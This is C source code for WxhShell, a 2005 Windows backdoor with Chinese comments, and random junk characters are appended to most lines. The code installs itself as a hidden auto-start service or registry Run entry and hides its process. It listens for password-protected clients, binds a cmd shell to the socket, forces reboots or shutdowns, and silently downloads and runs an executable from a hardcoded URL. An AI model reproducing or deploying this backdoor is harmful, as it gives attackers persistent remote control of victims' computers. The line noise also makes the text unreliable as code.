  // 关机 G_5w5dbG  
  case 'd': { T!Lv%i*|Y  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); %Aa_Bumf*:  
    if(Boot(SHUTDOWN)) )6eFYt%c  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); K92M9=>  
    else { @, AB 2D  
    closesocket(wsh); rv<qze;?|  
    ExitThread(0); kWs:7jiiu  
    } iRqLLMrn  
    break; cVYu(ssC4  
    } $"k1^&&E  
  // 获取shell b@sq}8YD|z  
  case 's': { Do5{t'm3  
    CmdShell(wsh); i[w&!mn%  
    closesocket(wsh); 2/Ye<.#  
    ExitThread(0); 8#9OSupp  
    break; Cv/3-&5S  
  } Ns#L9T#  
  // 退出 !3o/c w9  
  case 'x': { C4t~k  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); EW3--33s  
    CloseIt(wsh); / Xv@g$  
    break; uax kGEXr  
    } j 20m Z  
  // 离开 ) q/brCq  
  case 'q': { xK4E+^ b  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); |CK/-UG}  
    closesocket(wsh); k^K%."INn  
    WSACleanup(); B B^81{A  
    exit(1); : qV|rih_Q  
    break; >S S^qjh/  
        } W .Al\!Gi  
  } V8b^{}nxt  
  } 1^[]#N-Bu  
=/\l=*  
  // 提示信息 *OHjw;xm+  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); &(jt|?{  
} ''k}3o.K[  
  } '*t<g@2$  
@V+KL>Qw  
  return; @V@<j)3P  
} 6;Mv)|FJF  
3E>]6  
// shell模块句柄 [|YJg]i-  
int CmdShell(SOCKET sock) H>"P]Y)oX  
{ wy:euKB~   
STARTUPINFO si; ?ZkVk=t?  
ZeroMemory(&si,sizeof(si)); q^~w:$^ U  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; o[S Mt  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; $N|Spp0  
PROCESS_INFORMATION ProcessInfo; RLGIST`  
char cmdline[]="cmd"; 2d<`dQY{l3  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Xob(4  
  return 0; D2io3Lo$ov  
} }/g1  
v[a4d&P  
// 自身启动模式 ZB5NTNf>  
int StartFromService(void) u!b0 <E  
{ 3ZvQUH/{W  
typedef struct v{8r46Y~Z)  
{ /)rv Ndn  
  DWORD ExitStatus; #jg3Ku;Y  
  DWORD PebBaseAddress; -cUw}  
  DWORD AffinityMask; JqEo~]E]  
  DWORD BasePriority; `[x'EJp#  
  ULONG UniqueProcessId; B<~BX [  
  ULONG InheritedFromUniqueProcessId; q\~D:z$+CO  
}   PROCESS_BASIC_INFORMATION; 'o7V6KG  
SV^[)p )  
PROCNTQSIP NtQueryInformationProcess; P%<MQg|k`  
Ac/LNqIs  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 1z@ ncqe  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 5rJ7CfVq  
_$oE'lat  
  HANDLE             hProcess; D@k#'KU  
  PROCESS_BASIC_INFORMATION pbi; '2{60t_A  
ntZHO}'  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); a!PN`N28  
  if(NULL == hInst ) return 0; } OkK@8?0O  
/EL3Tt  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ?Uhjyi  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); E clsOBg  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 3p'(E\VJ  
PW9tZx#  
  if (!NtQueryInformationProcess) return 0; lW]&a"1$  
jLEO-<)-)  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); c2d1'l]n  
  if(!hProcess) return 0; nNRc@9Lt  
2V$YZSw6q  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; WTZuf9:  
|s!n7%|,7  
  CloseHandle(hProcess); }IKU^0M9<T  
=':B  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); F_V/&OV  
if(hProcess==NULL) return 0; }w)wW1&  
6O'Y@9#  
HMODULE hMod; }jg,[jw_"X  
char procName[255]; >E>'9@Uh  
unsigned long cbNeeded; qi8~bQ{rH  
 f^[m~  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); &VVvZ@X;  
MnptC 1N  
  CloseHandle(hProcess); ^K^rl 9  
A.<M*[{q  
if(strstr(procName,"services")) return 1; // 以服务启动 >a: 6umY  
z~;@Mo"*f  
  return 0; // 注册表启动 Q?dzro4C  
} "}< baz  
P_M!h~  
// 主模块  Lvn+EM  
int StartWxhshell(LPSTR lpCmdLine) _,*QJ  
{ M|7{ZE`Y  
  SOCKET wsl; OL623jQX  
BOOL val=TRUE; O{=@c96rl  
  int port=0; XZ|\|(6Cc  
  struct sockaddr_in door; {.r9l  
H8!lSRq  
  if(wscfg.ws_autoins) Install(); 0|(6q=QK  
_No<fz8  
port=atoi(lpCmdLine); 0Rh*SoYrC  
z@xkE ,j>  
if(port<=0) port=wscfg.ws_port; u"kB`||(  
s18A  
  WSADATA data; Ia>~ph#]{`  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; H`T}k+e2-N  
JiiYl&#  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   qn` \g  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); TZ PUVOtL_  
  door.sin_family = AF_INET; WhDNt+uk)  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); uHyc7^X>  
  door.sin_port = htons(port); 6H|&HV(!R  
OC`Mzf%.  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { {z8wFL\  
closesocket(wsl); ]?hlpL  
return 1; !]P=v`B.  
} ='HLA-uT  
g"D:zK)  
  if(listen(wsl,2) == INVALID_SOCKET) { vH]2t.\  
closesocket(wsl); A*? Qm  
return 1;  Kuh)3/7  
} p[D,.0SuC  
  Wxhshell(wsl); l/bZE.GJ  
  WSACleanup(); #M:Vwn JX  
^~m}(6  
return 0; ;7g~4Uv4}  
<J!?eH9f  
} r6}-EYq=  
|TuFx=~5v  
// 以NT服务方式启动 .WW|v  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) iMp_1EXe  
{  C0j`H(  
DWORD   status = 0; k i{8f  
  DWORD   specificError = 0xfffffff; |f+fG=a67V  
=M34 HPG  
  serviceStatus.dwServiceType     = SERVICE_WIN32; Qh4Z{c@  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ^+9i~PjL  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 8' +I8J0l  
  serviceStatus.dwWin32ExitCode     = 0; C0'_bTfB  
  serviceStatus.dwServiceSpecificExitCode = 0; D;X/7 p|>  
  serviceStatus.dwCheckPoint       = 0; \xOv9(  
  serviceStatus.dwWaitHint       = 0; l`*R !\  
:"Kr-Hm`  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 2;YL+v2  
  if (hServiceStatusHandle==0) return; E)( Rhvij  
qLm g18  
status = GetLastError(); wmFS+F4`2  
  if (status!=NO_ERROR) FJ O- p  
{ Iz I hC  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; lkgB,cflpi  
    serviceStatus.dwCheckPoint       = 0; Yf x'7gj  
    serviceStatus.dwWaitHint       = 0; `qj24ehc  
    serviceStatus.dwWin32ExitCode     = status; c]/&xRd  
    serviceStatus.dwServiceSpecificExitCode = specificError; +v|]RgyW)  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ,a} vx"~  
    return; f15n ~d  
  } rNX]tp{j  
e>$E67h<~  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; FeuqqZ\=&  
  serviceStatus.dwCheckPoint       = 0; <0H^2ekd  
  serviceStatus.dwWaitHint       = 0; 'E#Bz"T  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell("");  x5W. 3*  
} !a9/8U_>XF  
>66v+  
// 处理NT服务事件,比如:启动、停止 @Yh%.#\i%  
VOID WINAPI NTServiceHandler(DWORD fdwControl) &, WQr  
{ }%k 3  
switch(fdwControl) |(rTz!!-  
{ -{S: sK.o  
case SERVICE_CONTROL_STOP: Y kcN-  
  serviceStatus.dwWin32ExitCode = 0; 9K_p4 mq  
  serviceStatus.dwCurrentState = SERVICE_STOPPED;  :O{ ZZ  
  serviceStatus.dwCheckPoint   = 0; A$ o?_  
  serviceStatus.dwWaitHint     = 0; :<`po4/  
  { O `a4 ")R  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 5U%a$.yr  
  } 9Zpd=m8dU  
  return; F]^ZdJ2  
case SERVICE_CONTROL_PAUSE: # ,27,#  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; $rmfE  
  break; Y+_t50 S  
case SERVICE_CONTROL_CONTINUE: W= $, \D+  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; r7n-Xe  
  break; u6~/" _FwY  
case SERVICE_CONTROL_INTERROGATE: _0qp!-l}  
  break; DsF<P@O6  
}; ffS]%qa  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); R3@$ao  
} !;;WS~no3  
0^&-j.9  
// 标准应用程序主函数 MbjMO"}  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) i?CXDuL  
{ }`$Sr&n 1  
%P-z3 0FHp  
// 获取操作系统版本 d@_|  
OsIsNt=GetOsVer(); 63y&MaqSJ  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ma(E}s  
GJ4R f%  
  // 从命令行安装 OO`-{HKt  
  if(strpbrk(lpCmdLine,"iI")) Install(); ayoqitXD?  
84u %_4/  
  // 下载执行文件 P+[\9Gg  
if(wscfg.ws_downexe) { K,L  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) (uskVK>L  
  WinExec(wscfg.ws_filenam,SW_HIDE); @If ^5s;z  
} Y+UM>  
SFx|9$hXm  
if(!OsIsNt) { UBve a(z-#  
// 如果时win9x,隐藏进程并且设置为注册表启动 e`Vb.E)  
HideProc(); AH#klYK  
StartWxhshell(lpCmdLine); w-9fskd6e  
} ([L5i&DT  
else 0'4V*Y  
  if(StartFromService()) fI1,L"  
  // 以服务方式启动 !_My]>S  
  StartServiceCtrlDispatcher(DispatchTable); 8\@&~&(y:  
else nA>kJSL'$  
  // 普通方式启动 [`Dv#  
  StartWxhshell(lpCmdLine); .3yxg}E>{  
Kn+m9  
return 0; JVeb$_0k  
} Ju.B!)uS#  
F~tT5?+  
p8a \> {  
@ 80Z@Pj  
=========================================== P n|*(sTl  
beCTOmC  
~]&,v|g&  
l d4#jV ei  
-<Zs7(  
S8$kxQg  
" QvN=<V  
W_ hckq.  
#include <stdio.h> dwAFJhgh  
#include <string.h> KM ;'MlO  
#include <windows.h> 7BDRA},o  
#include <winsock2.h> ?XNQ_m8f  
#include <winsvc.h> *iVCHQ~  
#include <urlmon.h> OfSHZ;,  
<"Cacf g  
#pragma comment (lib, "Ws2_32.lib") `$odxo+  
#pragma comment (lib, "urlmon.lib") G 0;5I_D/  
dy%#E2f  
#define MAX_USER   100 // 最大客户端连接数 ypK1 sw  
#define BUF_SOCK   200 // sock buffer NWq>Z!x`  
#define KEY_BUFF   255 // 输入 buffer l3C%`[MB  
"=97:H{!  
#define REBOOT     0   // 重启 OPsg3pW!]  
#define SHUTDOWN   1   // 关机 =Vm"2g,aA  
T2^0Q9E?  
#define DEF_PORT   5000 // 监听端口 ) ]x/3J@  
N1O.U"L;  
#define REG_LEN     16   // 注册表键长度 Dtw1q-  
#define SVC_LEN     80   // NT服务名长度 >uN)O-  
rG*Zp7{  
// 从dll定义API Y}pCBw  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Q(\U'|%J  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 8NRc+@f|m  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); &58+-jzW  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); F qW[L>M'  
uYv"5U]MFv  
// wxhshell配置信息 |3A/Og  
struct WSCFG { r- ];@  
  int ws_port;         // 监听端口 tgPx!5U  
  char ws_passstr[REG_LEN]; // 口令 Y]SX2kk(2  
  int ws_autoins;       // 安装标记, 1=yes 0=no ~Yw`w 2  
  char ws_regname[REG_LEN]; // 注册表键名 ZFAi9M  
  char ws_svcname[REG_LEN]; // 服务名 8- U1Y  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 Qwm#6{5  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ;/Z9M"!u[  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 `Y~EL?  
int ws_downexe;       // 下载执行标记, 1=yes 0=no <[e E5X(  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" oS/cS)N20  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 &(] @L\A  
1dy>a=W  
}; z!r-g(^G  
7z=zJ4C  
// default Wxhshell configuration 3. kP,  
struct WSCFG wscfg={DEF_PORT, gfPht 5  
    "xuhuanlingzhe", -!k$ Z  
    1, g{}{gBplnl  
    "Wxhshell", DKG%z~R*  
    "Wxhshell", K5fL{2V?  
            "WxhShell Service", IP 9{vk  
    "Wrsky Windows CmdShell Service", .%(Q*ioDh  
    "Please Input Your Password: ", cCoa3U/  
  1, ]H4T80wm&  
  "http://www.wrsky.com/wxhshell.exe", 0~5'O[NhF  
  "Wxhshell.exe" ?x|8"*N  
    }; EN =oA P  
<{"]&bl  
// 消息定义模块 El}."}l&  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; =D2jJk?AX  
char *msg_ws_prompt="\n\r? for help\n\r#>"; .9<  i  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; x! A.**  
char *msg_ws_ext="\n\rExit."; >Bj+!)96q  
char *msg_ws_end="\n\rQuit."; _djr>C=H"  
char *msg_ws_boot="\n\rReboot..."; vy t$  
char *msg_ws_poff="\n\rShutdown..."; *P#okwp  
char *msg_ws_down="\n\rSave to "; wap@q6fz<  
f<`is+"  
char *msg_ws_err="\n\rErr!"; 19u'{/Y"  
char *msg_ws_ok="\n\rOK!"; LvsNU0x  
=X0"!y"  
char ExeFile[MAX_PATH]; YM idSfi  
int nUser = 0; %YI Xk1  
HANDLE handles[MAX_USER]; = 2 3H/  
int OsIsNt; 43"` gF]  
@o[C Xrz  
SERVICE_STATUS       serviceStatus; /a?*Ap5"  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; l 4zl|6%  
c3X'Sv  
// 函数声明 yj6o533o  
int Install(void); 4+Sq[Rv0  
int Uninstall(void); "t-u=aDl-.  
int DownloadFile(char *sURL, SOCKET wsh); b#:Pl`n6u  
int Boot(int flag); }E\ b_.  
void HideProc(void); p@H3NX  
int GetOsVer(void); H WOl79-  
int Wxhshell(SOCKET wsl); !f\q0Gnl  
void TalkWithClient(void *cs); SA| AS<  
int CmdShell(SOCKET sock); N6"b Ox J(  
int StartFromService(void); f xWW "B*A  
int StartWxhshell(LPSTR lpCmdLine); 0'giAA  
%V>Ss9;/8  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 8Rgvb3u  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); (o!v,=# 6{  
],lrT0_cT  
// 数据结构和表定义 t(O{IUYM  
SERVICE_TABLE_ENTRY DispatchTable[] = `kn 'RZR  
{ oJcDs-!  
{wscfg.ws_svcname, NTServiceMain}, .o(XnY)cgJ  
{NULL, NULL} C6=P(%y  
}; T+OQa+E@P  
\,-t]$9  
// 自我安装 e;y\v/A  
int Install(void) yEnurq%J  
{ 5Iv3B|u  
  char svExeFile[MAX_PATH]; 2{v$GFc/  
  HKEY key; TTS.wBpR,  
  strcpy(svExeFile,ExeFile); %>dCAj"  
O>Vb7`z0<  
// 如果是win9x系统,修改注册表设为自启动 \"]vSx>  
if(!OsIsNt) { S1iF1X(+?X  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { pZS0;T]W,  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); :N \j@yJK  
  RegCloseKey(key); )%4%Uo_Xm  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ]wH,534  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); bZ-"R 6a$  
  RegCloseKey(key); 1}moT#  
  return 0; 3fS+,>s\O  
    } gEVN;G'B<=  
  } b h%@Lo  
} 7~2b4"&  
else { (vq0Gl  
tgy= .o]  
// 如果是NT以上系统,安装为系统服务 @a08*"lbp  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); *o}LI6_u  
if (schSCManager!=0) WOW:$.VO^  
{ XYJ7k7zc+Y  
  SC_HANDLE schService = CreateService 5'JONw'\  
  ( G:W4<w  
  schSCManager, LL|uMe"Jb  
  wscfg.ws_svcname, 8 JOfx  
  wscfg.ws_svcdisp, 6qW/Td|g  
  SERVICE_ALL_ACCESS, cR/-FR  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , :[;]6;  
  SERVICE_AUTO_START, %^e~;i=2  
  SERVICE_ERROR_NORMAL, n"[VM=YGI  
  svExeFile, \7W4)>At-  
  NULL, CdxEY  
  NULL, >zYO1.~  
  NULL, AqPE.mf  
  NULL, zh5$$*\  
  NULL s:_M+_7_  
  ); AOT +4*)%  
  if (schService!=0) /%El0X  
  { H3$~S '  
  CloseServiceHandle(schService); Who7{|M\'  
  CloseServiceHandle(schSCManager); Gi7jgv{{  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 9ghZL Q  
  strcat(svExeFile,wscfg.ws_svcname); :lF[k`S T  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { /i$-ws-  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); wzLR]<6G  
  RegCloseKey(key); v35wlt^}  
  return 0;  3kAmRU  
    } ?^F*M#%?  
  } K k 5 vC{  
  CloseServiceHandle(schSCManager); H+^93  
} 4'&j<Ah[#  
} ]_cBd)3P}  
'ZyHp=RN)  
return 1; 3Uzb]D~u  
} G k'j<a  
<SiD m-=E  
// 自我卸载 7@[3]c<=  
int Uninstall(void) bjgf8427I  
{ 4nC`DJ;V  
  HKEY key; KfC8~{O-  
xM ]IU <  
if(!OsIsNt) { F[q:jY  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ye-o'%{  
  RegDeleteValue(key,wscfg.ws_regname); 0_Gi1)  
  RegCloseKey(key); +f{CfWIKs  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { .'3&!#3  
  RegDeleteValue(key,wscfg.ws_regname); VieX 5  
  RegCloseKey(key); O>zPWVwa  
  return 0; I y?_2m  
  } y[U/5! `zV  
} h, |49~^@"  
} )Fc` rY  
else { ]Lc:M'V#  
]ne&`uO  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); b;wf7~a*  
if (schSCManager!=0) OBGA~E;%  
{ |aH;@V  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); j@4 yRl ^  
  if (schService!=0) ]Y#$!fIx  
  { Ri$wt.b  
  if(DeleteService(schService)!=0) { Qo*,2B9R L  
  CloseServiceHandle(schService); ~vD7BO`  
  CloseServiceHandle(schSCManager); //c<p  
  return 0; :D-xa!7  
  } T*,kBJ  
  CloseServiceHandle(schService); goYRA_%cX  
  } U.7;:W}c  
  CloseServiceHandle(schSCManager); X~/hv_@  
} EJ$-  
} HGuY-f  
~n)!e#p  
return 1; @@L@r6  
} (p1y/"Xh  
+ y!B`'J  
// 从指定url下载文件 ~#X,)L{y7v  
int DownloadFile(char *sURL, SOCKET wsh) iI_ad7,u  
{ l3Vw?f   
  HRESULT hr; 8 *@knkJ  
char seps[]= "/"; s1,kTde  
char *token; @\[UZVmBw  
char *file; "%O,*t  
char myURL[MAX_PATH]; w(w%~;\kLP  
char myFILE[MAX_PATH]; d4"KM+EP?  
3kxI'0&T  
strcpy(myURL,sURL); GarPnb  
  token=strtok(myURL,seps); 0qXkWGB  
  while(token!=NULL) G~Xh4*#J  
  { L8<Yk`jx  
    file=token; 3 y!yz3E  
  token=strtok(NULL,seps); ;Qpp`  
  } m5HP56a  
8'=8!V  
GetCurrentDirectory(MAX_PATH,myFILE); 4:$?u}9[:[  
strcat(myFILE, "\\"); jr@u  
strcat(myFILE, file); ()=u#y  
  send(wsh,myFILE,strlen(myFILE),0); \>0F{-cR$  
send(wsh,"...",3,0); ;6N@raP7  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 6d~[My  
  if(hr==S_OK) /1X0h  
return 0; i2or/(u`  
else ]?P9M<0PM  
return 1; x)6yWr[ri%  
te ?R(&  
} @kR/=EfS  
V1R=`  
// 系统电源模块 . e2qa  
int Boot(int flag) Hu$]V*rAG  
{ >S /Zd  
  HANDLE hToken; &*TwEN^h  
  TOKEN_PRIVILEGES tkp; du2q6"  
iqecm]Z0  
  if(OsIsNt) { (5@9j  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 8+Lig  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 5TlPs_o  
    tkp.PrivilegeCount = 1; @";z?xj  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; uHdrHP  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 4;;F(yk8  
if(flag==REBOOT) { mk JS_6  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) &&e{9{R  
  return 0; EK:!.Fl  
} 9wLV\>i  
else { ~__]E53F  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) y6KI.LWR9  
  return 0; tN|sHgs  
} Y$3H$F.+  
  } mq$mB1$3u  
  else { CFJ F}aW  
if(flag==REBOOT) { zn5  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ^6v ob  
  return 0; ^ri?eKy.-g  
} )i&9)_ro  
else { v#/Uq?us  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 9WQC\/w  
  return 0; E?|"?R,,,  
}  5#JGNxO  
} )I<p<HQD  
J&~nD(&TY  
return 1;  eWO^n>Y  
} [T', ZLR|  
{t: ZMUV  
// win9x进程隐藏模块 C)> ])'S  
void HideProc(void) gBRhO^Sz  
{ )f4D2c&VE  
B\&;eZY'G  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ~:ddTv?F  
  if ( hKernel != NULL ) Sc "J5^  
  { H`4H(KWm  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); gkUG*Zw  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); }9fH`C/m  
    FreeLibrary(hKernel); gH- e0134%  
  } 6L~@jg~0A[  
\RZFq<6>  
return; \ief [  
} +~J?/  
d,au&WZ;_  
// 获取操作系统版本 c_xtwdkL9  
int GetOsVer(void) =?UCtYN,P  
{ ~~ ]/<d  
  OSVERSIONINFO winfo; GDC`\cy  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Mn+;3qo{6  
  GetVersionEx(&winfo); 10 dVV[=  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) -!(  
  return 1; 2A@9jl s  
  else ZjLzS]\a  
  return 0; ^GdU$%aa  
} GP ;c$pC  
?}sh@;]*h  
// 客户端句柄模块 z^9Yoqog  
int Wxhshell(SOCKET wsl) zcItZP  
{ haW8zb0z  
  SOCKET wsh; :qy`!QPUm  
  struct sockaddr_in client; }gL9G  
  DWORD myID; l5S (x Q  
UwY<3ul  
  while(nUser<MAX_USER) 'X{cDdS^  
{ ws5x53K  
  int nSize=sizeof(client); &NV[)6!  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); {e[S?1t=l  
  if(wsh==INVALID_SOCKET) return 1; 94r8DkI  
.EVy?-   
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 7\ d{F)7E  
if(handles[nUser]==0) 6\4n y0  
  closesocket(wsh); 9}kN9u  
else BR\% aU$u  
  nUser++; +NPk9jn  
  } dC@aQi6{6  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 9Qp39(l:  
O z%K*  
  return 0; .z+?b8Q\  
} 1&c>v3 $2  
8Q^yh6z  
// 关闭 socket }[Uh4k8P  
void CloseIt(SOCKET wsh)  Q^/5hA  
{ 8^=g$;g  
closesocket(wsh); `(1em%}  
nUser--; !cw<C*  
ExitThread(0); 0Mt2Rg}  
} B{!)GZ(}  
NAhV8  
// 客户端请求句柄 ed*Cx~rT  
void TalkWithClient(void *cs) joDnjz=  
{ ?RvXO'ml  
VB*N;bM^  
  SOCKET wsh=(SOCKET)cs; *=dFTd"#  
  char pwd[SVC_LEN]; Vn? %w~0!  
  char cmd[KEY_BUFF]; T^N Y|Y/  
char chr[1]; m_~ p G  
int i,j; <Hhl=6op  
@``kt*+K+  
  while (nUser < MAX_USER) { dv-yZRU:  
(?xGl V`n  
if(wscfg.ws_passstr) { qf+jfc(Iby  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); %([$v6y  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); OYC4iI  
  //ZeroMemory(pwd,KEY_BUFF); JU:!lyd  
      i=0; WKX5Dl  
  while(i<SVC_LEN) { cO<]%L0  
];6c/#2x  
  // 设置超时 g}IdU;X$NT  
  fd_set FdRead; y&9S+  
  struct timeval TimeOut; _)2.#L  
  FD_ZERO(&FdRead); zc]F  
  FD_SET(wsh,&FdRead);  O/gok+K  
  TimeOut.tv_sec=8; QL}5vSl  
  TimeOut.tv_usec=0; R B.j@*  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); u#%Ig3  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); O+`^]D7  
9:A>a3KOH  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 5}9-)\8=z  
  pwd=chr[0]; [{N i94:d  
  if(chr[0]==0xd || chr[0]==0xa) { c }ivYH?`w  
  pwd=0; w>; :mf  
  break; p*!@z|F>U  
  } (U2G"  
  i++; {b^naE  
    } 2iI"|k9M  
CSc*UX+  
  // 如果是非法用户,关闭 socket y4VCehdJ  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); D[ 7K2G+  
} Q'JEDH\  
Q6,rY(b6  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ]?-56c,  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); T =3te|fv  
dpZ7eJ   
while(1) { sxgR;gf6  
_XXK1H x  
  ZeroMemory(cmd,KEY_BUFF); 7E Y~5U/4  
\bQ|O7s  
      // 自动支持客户端 telnet标准   7;;W{W%  
  j=0; ro@Zbm;P  
  while(j<KEY_BUFF) { #i ?@S$  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); N$pwTyk  
  cmd[j]=chr[0]; H24g+<Tv  
  if(chr[0]==0xa || chr[0]==0xd) { qt/syF&s  
  cmd[j]=0; pPo?5s  
  break; 'e3y|  
  } u>& \@?(  
  j++; 8)5 n  
    } l4U& CA y  
Mn>dI@/gM  
  // 下载文件 MGc=TQ.  
  if(strstr(cmd,"http://")) { BGOI$,  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); Rt7}e09HV  
  if(DownloadFile(cmd,wsh)) *Vfas|3hZI  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); L)8+/+  
  else a[";K,  
